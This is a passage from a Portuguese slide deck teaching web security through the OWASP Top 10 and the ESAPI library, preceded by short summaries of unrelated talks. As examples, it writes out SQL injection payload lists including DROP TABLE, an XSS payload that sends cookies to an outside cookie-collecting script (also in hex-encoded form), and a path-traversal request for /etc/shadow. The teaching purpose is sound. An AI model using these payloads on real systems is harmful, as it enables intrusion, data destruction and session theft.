Chuck Willis proposes a new OWASP project called the "OWASP Broken Web Applications Project" that would provide a virtual machine containing intentionally vulnerable web applications. The virtual machine would contain various vulnerable versions of applications like WebGoat, WordPress, and phpBB to allow testing of vulnerability scanning, code analysis, and other security tools. Willis is seeking help expanding and maintaining the project.
AppSec Latam 2011 - Segurança em Sites de Compras ColetivasMagno Logan
O documento discute vulnerabilidades e ataques comuns em sites de compras coletivas, como senhas fracas, XSS, SQL injection e falhas no protocolo HTTPS. Também apresenta contramedidas como uso de HTTPS, não salvar dados do cartão e não fornecer muitos dados pessoais.
A linguagem C# aproveita conceitos de muitas outras linguagens,
mas especialmente de C++ e Java. Sua sintaxe é relativamente fácil, o que
diminui o tempo de aprendizado. Todos os programas desenvolvidos devem
ser compilados, gerando um arquivo com a extensão DLL ou EXE. Isso torna a
execução dos programas mais rápida se comparados com as linguagens de
script (VBScript , JavaScript) que atualmente utilizamos na internet
As classes de modelagem podem ser comparadas a moldes ou
formas que definem as características e os comportamentos dos
objetos criados a partir delas. Vale traçar um paralelo com o projeto de
um automóvel. Os engenheiros definem as medidas, a quantidade de
portas, a potência do motor, a localização do estepe, dentre outras
descrições necessárias para a fabricação de um veículo
AppSec Brazil 2010 - Utilizando a ESAPI para prover Segurança em Aplicações Web by Tarcizio Vieira Neto
1. The OWASP Foundation
http://www.owasp.org
OWASP AppSec
Brazil 2010, Campinas, SP
Utilizando a API de segurança OWASP
ESAPI (Enterprise Security API)
para prover segurança em aplicações Web
Tarcizio Vieira Neto
SERPRO
tarciziovn@gmail.com
2. 2
Objetivos do Curso
• Conhecer as principais vulnerabilidades de segurança
comumente encontradas em aplicações Web.
• Apresentar a arquitetura da biblioteca ESAPI e o
funcionamento de seus módulos com exemplos em
código Java (JSP).
• Apresentar o componente Web Application Firewall da
ESAPI.
3. 3
Roteiro
1. Introdução
2. OWASP Top 10
3. Biblioteca OWASP ESAPI
4. Vantagens do Uso da Biblioteca
ESAPI
5. Conclusões
3.1. Módulo de Validação e Codificação
3.2. Módulo de Autenticação
3.3. Módulo de Controle de Acesso
3.4. Módulo de utilitários HTTP
3.5. Módulo de tratamento de referência de acesso
3.6. Módulo de Criptografia
3.7. Módulo de Log
3.8. Módulo de Detecção de Intrusão
3.9. Integrando o módulo AppSensor com a ESAPI
3.10. Utilizando Filtros
3.11. Configurando a ESAPI
3.12. Módulo Web Application Firewall da ESAPI
1.1. Mitos relacionados
à segurança em Aplicações Web
1.2. Projeto OWASP
4. 4
Introdução
• Riscos de segurança em aplicações
– Os atacantes podem usar diversos caminhos através da aplicação que potencialmente podem
prejudicar o negócio ou a organização.
– Cada um desses caminhos representa um risco que pode, ou não, ser prejudicial o
suficientemente para justificar a sua atenção.
Fonte: OWASP Top 10
“A risk is a path from threat agent to business impact.” (OWASP)
5. 5
Introdução
Os ataques podem causar uma série de impactos,
entre os quais podemos citar:
• Perdas Financeiras.
• Transações Fraudulentas.
• Acesso não autorizado a dados, inclusive confidenciais.
• Roubo ou modificação de Dados.
• Roubo de Informações de Clientes.
• Interrupção do Serviço.
• Perda da confiança e lealdade dos clientes.
• Dano à imagem da organização.
6. 6
Introdução
• Sofisticação dos Ataques X Conhecimento Necessário
Fonte: Carnegie Mellon University Software Engineering Institute
7. 7
Introdução
Conceitos Básicos:
• Análise estática de segurança
– Consiste em verificar o código fonte por meio de
ferramentas especializadas, sem a necessidade de que
a aplicação esteja em execução.
– Ferramentas de análise estática são direcionadas a
identificação de divergências do código quanto aos
padrões de melhores práticas de segurança.
– O próprio desenvolvedor deve realizar esta atividade
durante a implementação, de forma a corrigir os
desvios logo no início do ciclo de vida.
8. 8
Introdução
Conceitos Básicos:
• Ciclo tradicional de Revisão de Código:
– Priorizar qual o código fonte será inspecionado.
»entrada e saída de dados; acesso ao banco de
dados;
– Executar a ferramenta de análise estática.
– Realizar um revisão manual do código com base no
resultado da ferramenta.
–Corrigir o código vulnerável.
9. 9
Introdução
Conceitos Básicos:
• Evidências: apontamentos ou batimentos que as ferramentas
encontram em um código-fonte, identificando possíveis falhas ou
vulnerabilidades.
• Falso Positivo: ocorre quando a ferramenta aponta uma
vulnerabilidade que não pode ser explorada ou que foi tratada.
• Falso negativo: ocorre quando a ferramenta não aponta uma
vulnerabilidade que na realidade existe e pode ser explorada.
• Vulnerabilidade: fragilidade de um sistema que pode ser
explorada por um exploit.
• Exploração(exploit): é uma ação maliciosa concretizada. Em
um ataque, uma ameaça explora uma vulnerabilidade.
10. 10
Introdução
Conceitos Básicos:
• Blacklist: método de validação que consiste em bloquear todas
as entradas de dados consideradas explicitamente inválidas.
• WhiteList: método de validação que consiste em bloquear todas
as entradas de dados, exceto as que seguirem o padrão
explicitamente definido como válido.
• Caixa branca: testes do código fonte realizados no momento da
codificação para identificar problemas de segurança.
• Caixa preta: testes da aplicação em execução realizados em um
ambiente controlado, pois simula situações reais de ataques.
11. 11
Introdução
Mitos relacionados à segurança em Aplicações Web
1 - “estamos seguros porque temos um firewall!”
É muito comum criar um falso sentimento de segurança pelo fato da
aplicação ter um firewall como entreposto.
−
Apenas firewalls de aplicação (ou firewall de camada 7) poderiam
fornecer um nível de segurança mais adequado.
−
Ainda que se tenha um firewall de aplicação, alguns detalhes só podem
ser implementados na própria aplicação.
Segundo o Gartner Group, 75% dos ataques acontecem na camada de
aplicação.
Segundo o NIST, 92% das vulnerabilidades estão no software.
National Institute of Standards and Technology
12. 12
Introdução
Mitos relacionados à segurança em Aplicações Web
2 - “estamos seguros porque utilizamos SSL”
O SSL somente provê a confidencialidade e a integridade dos dados
trafegados.
– De fato não soluciona os problemas relativos às demais
vulnerabilidades no servidor e no browser.
13. 13
Introdução
Mitos relacionados à segurança em Aplicações Web
2 - “estamos seguros porque utilizamos SSL”
• Deste modo, podemos ter a
execução de um “ataque
seguro”, ou seja, requisições
maliciosas são enviadas para o
servidor sobre o protocolo
HTTPs:
14. 14
Introdução
Projeto OWASP
Sobre a OWASP (Open Web Application Security Project),
temos que:
• É uma iniciativa aberta para tratar aspectos de segurança de
aplicações web
• Congrega especialistas e voluntários, que inclui corporações,
organizações educacionais e pessoas de todo o mundo
• A comunidade trabalha para criar artigos, metodologias,
documentação, ferramentas e tecnologias para a segurança das
aplicações web.
• Cria documentos de boas práticas e promove o desenvolvimento de
ferramentas de segurança.
15. 15
Introdução
Projeto OWASP
A OWASP
• Não é afiliada a nenhuma empresa de tecnologia, pois,
considera a liberdade quanto a pressões organizacionais um meio
de fornecer de forma imparcial informações sobre segurança de
aplicações.
Fonte: www.owasp.org
18. 18
OWASP Top 10
A OWASP produz uma publicação chamada OWASP
Top 10, onde lista as 10 principais vulnerabilidades
que afetam os sistemas Web. Sobre a publicação:
• É lançada a cada 3 anos.
• A versão mais recente foi lançada em abril de 2010.
• O Top 10 não trata somente como evitar as vulnerabilidades,
mas também trata sobre gerenciamento de riscos.
• Para gerenciar estes riscos, as organizações precisam além de
ações de sensibilização, testes de aplicação e correção, um
programa de gestão de riscos de aplicações.
• As versões anteriores são de 2004 e 2007.
Fonte: OWASP Top 10
19. 19
OWASP Top 10
A1: Injection / Falha de Injeção
A2: Cross-Site Scripting (XSS)
A3: Broken Authentication and Session Management /
Falha na autenticação e no gerenciamento de sessão
A4: Insecure Direct Object References / Referência Insegura de Objetos
A5: Cross-Site Request Forgery (CSRF)
A6: Security Misconfiguration / Configuração de segurança deficiente
A7: Insecure Cryptographic Storage / Armazenamento criptográfico inseguro
A8: Failure to Restrict URL Access / Falha ao restringir o acesso às URLs
A9: Insufficient Transport Layer Protection / Proteção ineficaz da camada de transporte
A10: Unvalidated Redirects and Forwards / Redirecionamentos inseguros
Versão 2010
Fonte: OWASP Top 10
21. 21
OWASP Top 10
A1: Falhas de Injeção
Características:
• Ocorrem quando dados não confiáveis são enviados para um
interpretador como parte de um comando ou consulta (query)
• Os dados do ataque podem iludir o interpretador a executar
comandos indesejáveis ou acessar dados de forma não autorizada.
• Os ataques de SQL Injection, baseiam-se na tentativa de utilizar os
parâmetros de entrada da aplicação para inserir sequências de
caracteres com finalidades maliciosas.
• Causados também por falta ou falha na validação de entrada de
dados
22. 22
OWASP Top 10
A1: Falhas de Injeção
Podem ser do tipo:
• SQL Injection (mais comum)
• XPATH Injection
• LDAP Injection,
• linguagens de script web
• Comand Injection (tem como alvo o sistema operacional do servidor)
• Injection into SOAP
• SMTP Command Injection
→ Os princípios são os mesmos, o que muda é a tecnologia.
23. 23
OWASP Top 10
A1: Falhas de Injeção
Como evitar:
• Os dados não confiáveis devem estar separados dos comandos
(interpretadores) e de consultas.
• Realizar a validação de entrada de dados positiva ou por Lista
Branca (whitelist), com uma adequada normalização dos dados.
• Realizar o tratamento dos parâmetros provenientes dos usuários ao
realizar a concatenação dos dados
24. 24
OWASP Top 10
A1: Falhas de Injeção
Cenário de ataque:
String userID = request.getParameter("userID");
Statement statement = connection.createStatement(
"SELECT * FROM accounts WHERE user_id = '"+ userID +"';");
ResultSet rs = statement.executeQuery();
A requisição pode ser enviada da seguinte forma:
http://example.com/app/accountView?userID=0'+or+1=1--
Resultado da concatenação:
SELECT * FROM accounts WHERE user_id = '0' or 1=1--';
25. 25
OWASP Top 10
A1: Falhas de Injeção
Cenário de ataque:
String userID = request.getParameter("user");
String password = request.getParameter("password");
Statement statement = connection.createStatement(
"SELECT * FROM accounts WHERE "+
"user_id = '"+ userID +"' AND "+
"password = '"+ password +"';");
ResultSet rs = statement.executeQuery();
Resultado da concatenação:
SELECT * FROM accounts WHERE user_id = 'admin' or 1=1--' AND password = 'anything';
26. 26
OWASP Top 10
A1: Falhas de Injeção
Outros exemplos de injeções de código maliciosas:
'; DROP TABLE accounts;--
SELECT * FROM accounts WHERE user_id = ''; DROP TABLE accounts;--';
'; INSERT INTO accounts (user_id, password) VALUES ('me','123456');--
SELECT * FROM accounts WHERE
user_id = ''; INSERT INTO accounts (user_id, password)
VALUES ('me','123456');--';
27. 27
OWASP Top 10
A1: Falhas de Injeção
Outros exemplos de injeções de código maliciosas:
admin'--
' or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a
28. 28
OWASP Top 10
A1: Falhas de Injeção
Como evitar:
• Uso de bind variables através de PreparedStatement
String userID = request.getParameter("userID");
PreparedStatement prepStmt =
con.prepareStatement("SELECT * FROM accounts WHERE user_id = ?");
prepStmt.setString(1, userID);
ResultSet rs = prepStmt.executeQuery();
29. 29
OWASP Top 10
A1: Falhas de Injeção
Como evitar:
• Uso de stored procedures
String username = request.getParameter("username");
String passwd= request.getParameter("password");
CallableStatement cs = con.prepareCall("{call sp_usuario(?,?)}");
cs.setString(1, username);
cs.setString(2, passwd);
ResultSet results = cs.executeQuery();
CREATE PROCEDURE sp_usuario
@USER varchar(16),
@PASSWD varchar(16)
As
SELECT * FROM accounts WHERE user_id = @USER AND password = @PASSWD
Go
Invocando Stored Procedures
Definindo Stored Procedures
*Obs.: Consultas dinâmicas com stored procedures podem ser vulneráveis
30. 30
OWASP Top 10
A1: Falhas de Injeção
Como evitar:
• Uso de parâmetros identificados em consultas HQL
Query safeHQLQuery = session.createQuery(
"from accounts where userID=:userID");
safeHQLQuery.setParameter("userID", request.getParameter("userID"));
31. 31
OWASP Top 10
A1: Falhas de Injeção
Como evitar:
• Evitar que caracteres especiais sejam interpretados
• Realizar a codificação dos dados
–A seguir um exemplo de código utilizando a biblioteca ESAPI
String user = ESAPI.encoder().encodeForSQL( Codec.MySQLCodec,
request.getParameter("user"));
String pwd = ESAPI.encoder().encodeForSQL( Codec.MySQLCodec,
request.getParameter("password"));
String query = "SELECT * FROM accounts "+
"WHERE user_id = '" + user + "' and passwd = '" + pwd + "'";
32. 32
OWASP Top 10
A1: Falhas de Injeção
Como evitar:
Aplicar o Princípio do menor privilégio:
–Usuário usado para conectar no banco de dados deve possuir apenas
os privilégios mínimos necessários
Validar entrada de dados pelo método white list
–Sempre
–Validar tamanho, tipo, etc
–Validar usando lista ou expressão regular definindo o que é permitido
33. 33
OWASP Top 10
A1: Falhas de Injeção
Como evitar:
Validar entrada de dados pelo método white list com ESAPI
Validator.SafeString=^[p{L}p{N}.]{0,1024}$
Validator.Email=^[A-Za-z0-9._%-]+@[A-Za-z0-9.-]+.[a-zA-Z]{2,4}$
Validator.IPAddress=^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9]
[0-9]?)$
Validator.URL=^(ht|f)tp(s?)://[0-9a-zA-Z]([-.w]*[0-9a-zA-Z])*(:(0-9)*)*(/?)([a-zA-Z0-
9-.?,:'/+=&%$#_]*)?$
Validator.CreditCard=^(d{4}[- ]?){3}d{4}$
Validator.SSN=^(?!000)([0-6]d{2}|7([0-6]d|7[012]))([ -]?)(?!00)dd3(?!0000)d{4}$
String nome = ESAPI.validator().getValidInput(
"validacaoActionXPTO", //contexto da operação
request.getParameter("nome"),//dados de entrada
"validator.SafeString", //identificador da expressão regular
1024, //indica o número máximo de caracteres
false //flag que informa se deve ou não aceitar valores nulos
);
34. 34
OWASP Top 10
A1: Falhas de Injeção (SO)
Como evitar:
• Aplicação usa dados enviados pelo usuário para gerar um
comando que é passado ao sistema
• Se não for feito corretamente o usuário poderá injetar
comandos e executá-los com as mesmas permissões da
aplicação $dominio = param(‘dominio');
$nslookup = "/path/to/nslookup";
print header;
if (open($fh, "$nslookup $dominio|")) {
while (<$fh>) {
print escapeHTML($_);
print "<br>n";
}
close($fh);
}
Aplicação realiza um DNS lookup para um
domínio passado pelo usuário
35. 35
OWASP Top 10
A1: Falhas de Injeção
Como evitar (de modo geral):
Valide sempre a entrada de dados
– Nunca procure por caracteres indesejáveis (black list)
– Aceite somente os caracteres que forem válidos para a entrada de
dados
Sempre faça a validação no lado do servidor
– Javascripts podem ser desabilitados no browser!
Nunca confie na entrada de dados
–Valide a entrada de dados mesmo que a origem seja teoricamente
confiável
Trate os campos de entrada como string
36. 36
OWASP Top 10
A2: Cross-Site Scripting (XSS)
Características:
• As falhas XSS ocorrem sempre que uma aplicação obtém dados
fornecidos pelo usuário (não confiáveis) e os envia para um
navegador web sem realizar o processo de validação ou codificação
daquele conteúdo de modo conveniente.
• O XSS permite aos atacantes executarem scripts no navegador da
vítima, que pode sequestrar sessões de usuário, modificar a
aparência de sites Web e redirecionar o usuário para sites
maliciosos.
Fonte: “Segurança Web: Técnicas para Programação Segura de Aplicações”, AppSec Brasil, 2009
37. 37
OWASP Top 10
A2: Cross-Site Scripting (XSS)
Tipos:
• Persistente
• Não Persistente
• Baseado no DOM (Document Object Model)
38. 38
OWASP Top 10
A2: Cross-Site Scripting (XSS)
–XSS Persistente
Cenário de ataque:
• Dados enviados por usuários são armazenados e posteriormente
mostrados para outro ou outros usuários sem que sejam codificados
• Podem atingir grandes quantidades de usuários (blogs, forums)
• Dados armazenados (banco de dados, arquivo, etc)
• Sem validar entrada de dados
• Sem codificar saída de dados
40. 40
OWASP Top 10
A2: Cross-Site Scripting (XSS)
–XSS Não Persistente
Cenário de ataque:
• Dado enviado por usuário ao servidor é enviado de volta ao
usuário na resposta do servidor.
• Caso haja código em meio a esses dados, ele pode ser
executado no browser do cliente
42. 42
OWASP Top 10
<input name ='name' type='TEXT' value='" +
<%= request.getParameter("paramName") %>+"'">
• A2: Cross-Site Scripting (XSS)
–XSS Não Persistente
Cenário de ataque:
• A aplicação usa dados não confiáveis na construção dos tags HTML sem
realizar a codificação dos dados, conforme o exemplo a seguir:
• A URL inclui um script no parâmetro da aplicação
http://www.example.com/view.jsp?nome="<script>alert(document.cookie)</script>"
43. 43
OWASP Top 10
A2: Cross-Site Scripting (XSS)
–XSS Baseado no DOM
Cenário de ataque:
• O código que executa no browser do usuário utiliza elementos do DOM
sem fazer as verificações necessárias.
• Falha no código que executa no lado cliente
– Neste caso não ocorre falha no lado servidor (camada de
controle/negócio)
44. 44
XSS Baseado no DOM
Fonte: “Segurança Web: Técnicas para Programação Segura de Aplicações”, AppSec Brasil, 2009
45. 45
OWASP Top 10
A2: Cross-Site Scripting (XSS)
Para evitar XSS:
• Validar os dados fornecidos para a aplicação
–Cabeçalhos
–Cookies
–Dados de formulários
–Campos escondidos
• Codificar os dados recebidos pela aplicação antes de utilizar ou
armazená-los
–Usar escape codes HTML: < > ( )
46. 46
OWASP Top 10
A2: Cross-Site Scripting (XSS)
O problema da codificação dupla (double encoding):
Ex:
Char Hex encode Then encoding '%' Double encode
“<” “%3C” “%25” “%253C”
“/” “%2F” “%25” “%252F”
“>” “%3E” “%25” “%253E”
<script>alert('XSS')</script>
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
47. 47
OWASP Top 10
A2: Cross-Site Scripting (XSS)
Quando um usuário malicioso submete uma URL como:
Este ataque pode ser submetido também em hexadecimal, burlando um
sistema de validação tradicional (blacklist):
http://exemplo.com/formulario.jsp?nome="<script>document.location=
'http://www.cgisecurity.com/cgi-bin/cookie.cgi?
'%20+document.cookie</script>"
http://exemplo.com/formulario.jsp?nome=%22%3e%3%73%63%72%69%70%74
%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e
%3d%27%68%74%74%70%3a%2f%2f77%77%77%2e63%67%69%73%65%63
%75%72%69%74%79%2e%63%6f%6d%2f63%67%69%2d%62%69%6e%2f%63
%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65
%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e
49. 49
OWASP Top 10
A2: Cross-Site Scripting (XSS)
Como evitar:
Como usar a ESAPI para realizar a codificação dos dados nas páginas JSP:
<p>
Nome <%=
ESAPI.encoder()
.encodeForHTML(request.getParameter("username"))
%>
</p>
50. 50
OWASP Top 10
A2: Cross-Site Scripting (XSS)
Como evitar (outras formas):
A JSF facilita o processo de encoding dos dados a serem exibidos através das
tags (<h:outputText />), da seguinte forma:
<h:outputText value="#{bean.name}" />
<p>Nome do usário: #{bean.name}</p>
obs.: desta forma será criado um tag implícito do tipo <h:outputText/>
51. 51
OWASP Top 10
A2: Cross-Site Scripting (XSS)
Formas inseguras:
<p> Nome <%= request.getParameter("username") %> </p>
<h:outputText value="#{param.name}" escape="false">
obs.: neste caso o desenvolvedor estaria explicitamente desativando o tratamento dos dados.
<h:outputText value="#{bean.name}" escape="false">
obs.: neste caso mesmo desativando o escaping (codificação dos dados) a exibição é segura
por se tratar de um bean de entidade!
52. 52
OWASP Top 10
A3: Falha na autenticação e no gerenciamento de sessão
Características:
• As funções de uma aplicação relacionadas com autenticação e
gestão de sessões são muitas vezes implementadas de forma
incorreta, permitindo que os atacantes comprometam senhas,
chaves, identificadores de sessão ou ainda venham explorar outras
falhas de implementação para assumirem a identidade de outros
usuários.
53. 53
OWASP Top 10
A3: Falha na autenticação e no gerenciamento de sessão
Questões a verificar:
1. As credenciais sempre são protegidas quando armazenadas utilizando hashing
ou criptografia?
2. As credenciais podem ser adivinhadas ou sobrepostas através de funções
inadequadas no gerenciamento da conta? ex.: criação da conta, mudança de
senha, recuperação de senha, identificadores de sessão de sessão fracos.
3. Os identificadores de sessão são expostos na URL? ex.: reescrita de URL.
4. Os identificadores de sessão são vulneráveis à ataques de fixação de sessão?
5. Os identificadores de sessão são desconectados após um determinado período
de inatividade e os usuários tem opção para efetuar o logout?
6. Os identificadores de sessão são alterados após a autenticação bem sucedida?
7. As senhas, os identificadores de sessão e outras credenciais são enviadas
através de conexões SSL/TLS?
54. 54
OWASP Top 10
A3: Falha na autenticação e no gerenciamento de sessão
Como evitar:
• Um único modelo de controles para autenticação e gerenciamento
de sessão. Estes controles devem ser capazes de:
– Atender todos os requisitos para autenticação e gerenciamento de sessão
definidos nas áreas V2 (Autenticação) e V3 (Gerenciamento de Sessão) do
Application Security Verification Standard (ASVS) publicado pela OWASP.
– Fornecer uma interface simples para os desenvolvedores. Considere os
módulos ESAPI Authenticator e ESAPI User como bons exemplos para
emular, utilizar ou realizar o desenvolvimento baseado nesta biblioteca.
• Esforços devem ser tomados para evitar a ocorrência de falhas de
XSS que podem ser utilizados para realizar o furto dos
identificadores de sessão.
55. 55
OWASP Top 10
A3: Falha na autenticação e no gerenciamento de sessão
Cenários de Ataques:
1. A aplicação insere os identificadores de sessão na URL:
2. O procedimento de timeout da aplicação não é adequadamente parametrizado.
3. Um atacante consegue ter acesso a base de dados contendo os registros com
as senhas de acesso ao sistema. Caso as senhas não estiverem criptografadas
ou estiverem armazenadas utilizando algoritmo de hash fraco, todas as senhas
dos usuários do sistema estarão expostas para o atacante.
http://example.com/sales;jsessionid=2P0OC2JDPXM0OQSNDLPSKHCJUN2JV?dest=Hawaii
56. 56
OWASP Top 10
A2: Falha na autenticação e no gerenciamento de sessão
Como evitar:
Utilizar a biblioteca ESAPI para verificar:
– Se o usuário já está autenticado
– Se autenticado verificar se não está bloqueado ou se o tempo de timeout de
sessão não expirou
– É recomendável que o trecho de código a seguir que realiza estas
verificações para as páginas que requerem autenticação esteja
implementado na forma de um Filtro Java
try {
ESAPI.authenticator().login(request, response);
} catch( AuthenticationException e ) {
}
57. 57
OWASP Top 10
A4: Referência Insegura de Objetos
Características:
• Uma referência direta a um objeto ocorre quando um programador
expõe uma referência para um objeto interno da implementação,
como:
–Arquivo
–Diretório
–Chave de uma tabela no banco de dados
–URL
–Parâmetro de formulário
58. 58
OWASP Top 10
A4: Referência Insegura de Objetos
Sem uma verificação de controle de acesso ou outra proteção
semelhante, os atacantes podem manipular estas referências para acessar
informações ou outros objetos não-autorizados.
URL gerada pela aplicação:
URL adulterada:
http://www.example.com/visualiza_info_conta.jsp?userId="4325110" ← acesso legítimo
http://www.example.com/visualiza_info_conta.jsp?userId="5432112" ← acesso indevido
59. 59
OWASP Top 10
A4: Referência Insegura de Objetos
O exemplo de código a seguir mostra como geralmente é realizado um
controle por referências diretas para permitir o acesso a determinado
arquivo:
URL gerada pela aplicação:
URL adulterada:
http://www.example.com/downloadFile.do?filePath="/opt/docs/file1.doc"
http://www.example.com/downloadFile.do?filePath="/opt/docs/file2.doc"
http://www.example.com/downloadFile.do?filePath="/etc/shadow"
String filePath = "/opt/docs/file1.doc";
String href = "http://www.example.com/downloadFile.do?filePath="" + filePath + """
60. 60
OWASP Top 10
A4: Referência Insegura de Objetos
Como evitar:
• Evite expor referências a objetos internos.
• Valide referências a objetos internos usando lista de nomes válidos
• Use índices ou mapas de referência para evitar a manipulação de
parâmetros
61. 61
OWASP Top 10
A4: Referência Insegura de Objetos
Como evitar:
• Use índices ou mapas de referência para evitar a manipulação de
parâmetros
String filePath = "/opt/myapp/docs/file1.doc";
AccessReferenceMap arm = new RandomAccessReferenceMap();
String indRef = arm.addDirectReference( (String) filePath );
String href = "http://www.example.com/pagina_exemplo?fileRef="" +
indRef + """;
62. 62
OWASP Top 10
A4: Referência Insegura de Objetos
URL gerada:
http://www.example.com/pagina_exemplo?fileRef="abMa27"
try {
String indRef = request.getParameter( “fileRef” );
String filePath = (String) arm.getDirectReference( indRef );
File file = new File (filePath);
// ... instruções que executam operações sobre o objeto File recuperado
} catch (AccessControlException ace) {
// se a referência indireta não existe, então provavelmente é um ataque
// e o método getDirectReference lança uma exceção do tipo
// AccessControlException
}
63. 63
OWASP Top 10
A5: Cross-Site Request Forgery (CSRF)
Características:
• Um ataque CSRF força o navegador de uma vítima que tenha uma
sessão ativa a enviar uma requisição HTTP forjada para uma
aplicação Web vulnerável.
– A requisição é pré-autenticada e inclui o cookie de sessão e
outras informações da sessão, como informação de autenticação.
• Esta falha permite ao atacante forçar o navegador da vítima a criar
requisições que a aplicação vulnerável aceite como requisições
legítimas oriundos do computador da vítima.
64. 64
OWASP Top 10
A5: Cross-Site Request Forgery (CSRF)
Fonte: “Segurança Web: Técnicas para Programação Segura de Aplicações”, AppSec Brasil, 2009
65. 65
OWASP Top 10
A5: Cross-Site Request Forgery (CSRF)
Soluções ineficazes:
• Aceitar apenas POST
–Dificulta mas não resolve
»Evita ataques por endereço de imagem
–Javascript pode realizar POST
–Flash pode realizar POST
66. 66
OWASP Top 10
A5: Cross-Site Request Forgery (CSRF)
Soluções ineficazes:
• Verificação de “Referer”
–Alguns firewalls modificam o “Referer”
–Flash pode fazer spoofing do “Referer”
–Há casos em que o browser não envia o “Referer”
67. 67
OWASP Top 10
A5: Cross-Site Request Forgery (CSRF)
Como evitar:
• Usar parâmetro que não pode ser adivinhado pelo atacante
• Formas:
– Token Secreto → mais fácil e mais recomendável
– Requisitar senha nas operações sensíveis
68. 68
OWASP Top 10
A5: Cross-Site Request Forgery (CSRF)
Como evitar:
• Token secreto.
– São associados à sessão do usuário
– Os tokens (teoricamente) não podem ser adivinhados pelo
atacante
– Duas formas de implementar:
» A aplicação passa o token em hidden fields nas páginas de
resposta e o usuário envia token a cada requisição
» A aplicação adiciona o token nos parâmetros das requisições
ex: http://example.com/action?param=1&ctoken=8FD4B2
69. 69
OWASP Top 10
A5: Cross-Site Request Forgery (CSRF)
• Adicionando token em hidden field.
• Adicionando o token nos parâmetros das requisições
<input name="csrf_field" type="HIDDEN"
value='<%= ESAPI.httpUtilities().getCSRFToken() %>' />
String url = ESAPI.httpUtilities().addCSRFToken(
"http://example.com/action?param1=1");
http://example.com/action?param=1&ctoken=8FD4B2
70. 70
OWASP Top 10
A5: Cross-Site Request Forgery (CSRF)
Como evitar:
• Requisitar Senha
– Os atacantes (teoricamente) não conhecem a senha
– Solicitar a senha em todas as requisições
»Atrapalha a usabilidade
»A aplicação deve requisitar apenas para operações sensíveis
71. 71
OWASP Top 10
A6: Configuração de segurança deficiente
Características:
• A segurança depende também da existência de configurações
seguras específicas definidas e usadas na aplicação, frameworks,
servidor de aplicação, servidor de Web e plataforma.
• Todas as configurações devem ser definidas, implementadas e
mantidas por que muitas vezes elas não vem aplicadas diretamente
do fornecedor com padrões de segurança definidos.
• Isto inclui também possuir todo o software atualizado, incluindo
todas as bibliotecas de código usadas pela aplicação.
• Tem mais ligação com o ambiente de produção do que com o código
da aplicação.
72. 72
OWASP Top 10
A6: Configuração de segurança deficiente
Como evitar:
• Verificando os seguintes itens:
– Existe algum processo de atualização das últimas versões e patches
de todo o software para o seu ambiente? Isto inclui o sistema
operacional, servidor de aplicações Web, SGBD e demais bibliotecas.
–Tudo aquilo que não é necessário está desabilitado, removido, ou não
instalado (por ex: portas, serviços, páginas, contas, etc)?
–As contas por padrão estão desabilitadas ou foram alteradas?
–Todas as configurações de segurança estão definidas corretamente?
–Todos os servidores estão protegidos por Firewalls/Filtros, etc?
73. 73
OWASP Top 10
A6: Configuração de segurança deficiente
Como evitar:
• Estabelecer:
–Um processo robusto e repetitivo que torne fácil e rápido o
desenvolvimento de outro ambiente que esteja fechado/guardado. Os
ambientes de desenvolvimento, garantia da qualidade e produção
deverão estar todos configurados da mesma maneira. Este processo
deverá ser automatizado para minimizar os esforços necesários para
implementar um novo ambiente seguro.
–Uma arquitetura robusta que forneça uma boa separação e segurança
entre os componentes.
–Executar escaneamentos e realizar auditorias periodicamente para
auxiliar na detecção de configuração deficiente.
74. 74
OWASP Top 10
A7: Armazenamento criptográfico inseguro
Características:
• Muitas aplicações Web não protegem devidamente dados sensíveis,
como números dos cartões de créditos, dados pessoais e
credenciais de autenticação com algoritmos de cifra ou de resumo
(hash).
• Os atacantes podem roubar ou modificar estes dados, protegidos de
forma deficiente, para realizar roubos de identidade, fraude com
cartões de crédito ou outros crimes.
75. 75
OWASP Top 10
A7: Armazenamento criptográfico inseguro
Como evitar:
• Para todos dados sensíveis devemos assegurar que:
–Sejam criptografados nos locais onde são armazenados a longo
prazo, especialmente nos backups de dados.
–Somente usuários autorizados podem acessar as cópias dos
dados decriptografados.
–Um padrão de algoritmo de criptografia forte (preferencialmente os
recomendados pelo e-ping e ICP-Brasil) esteja sendo utilizado.
–Uma chave forte tenha sido gerada, protegida contra acesso não
autorizado e que a troca das chaves seja planejada.
76. 76
OWASP Top 10
A7: Armazenamento criptográfico inseguro
Como evitar:
• Utilizar o módulo Encryptor da biblioteca ESAPI para realizar a
criptografia de dados sensíveis, utilizando parâmetros de criptografia
que envolvem algoritmos adequados e chaves fortes guardadas em
um arquivo de configuração protegido:
String secret = "Secret Message";
CipherText encrypted = ESAPI.encryptor()
.encrypt( new PlainText( secret ) );
PlainText decrypted = ESAPI.encryptor().decrypt( encrypted );
77. 77
OWASP Top 10
A8: Falha ao restringir o acesso às URLs
Observações:
• Muitas aplicações Web verificam os direitos de acesso a uma URL
antes de exibirem links e botões protegidos.
• As aplicações devem realizar verificações de controles de acesso
semelhantes cada vez que estas páginas são acessadas. Caso
contrário, os atacantes podem forjar URLs e acessar estas páginas
escondidas, sem qualquer controle.
78. 78
OWASP Top 10
A8: Falha ao restringir o acesso às URLs
Como evitar:
• As políticas de autenticação e autorização deverá ser baseada em
papéis (RBAC - role based access control), para minimizar o esforço
necessário para manter estas políticas.
• As políticas devem ser altamente configuráveis, de modo a
minimizar qualquer aspecto codificado da política.
• O mecanismo de execução deve por padrão negar todos os
acessos, necessitando de permissões explícitas para usuários e
papéis específicos para permitir o acesso a cada página.
• Se a página está envolvida em um fluxo de trabalho, é necessário
verificar se as condições estão em um estado apropriado para
permitir o acesso aos recursos.
79. 79
OWASP Top 10
A8: Falha ao restringir o acesso às URLs
Cenário de ataque:
• O atacante simplesmente modifica o apontamento da URL de
destino no browser
URL gerada pela aplicação:
URL adulterada:
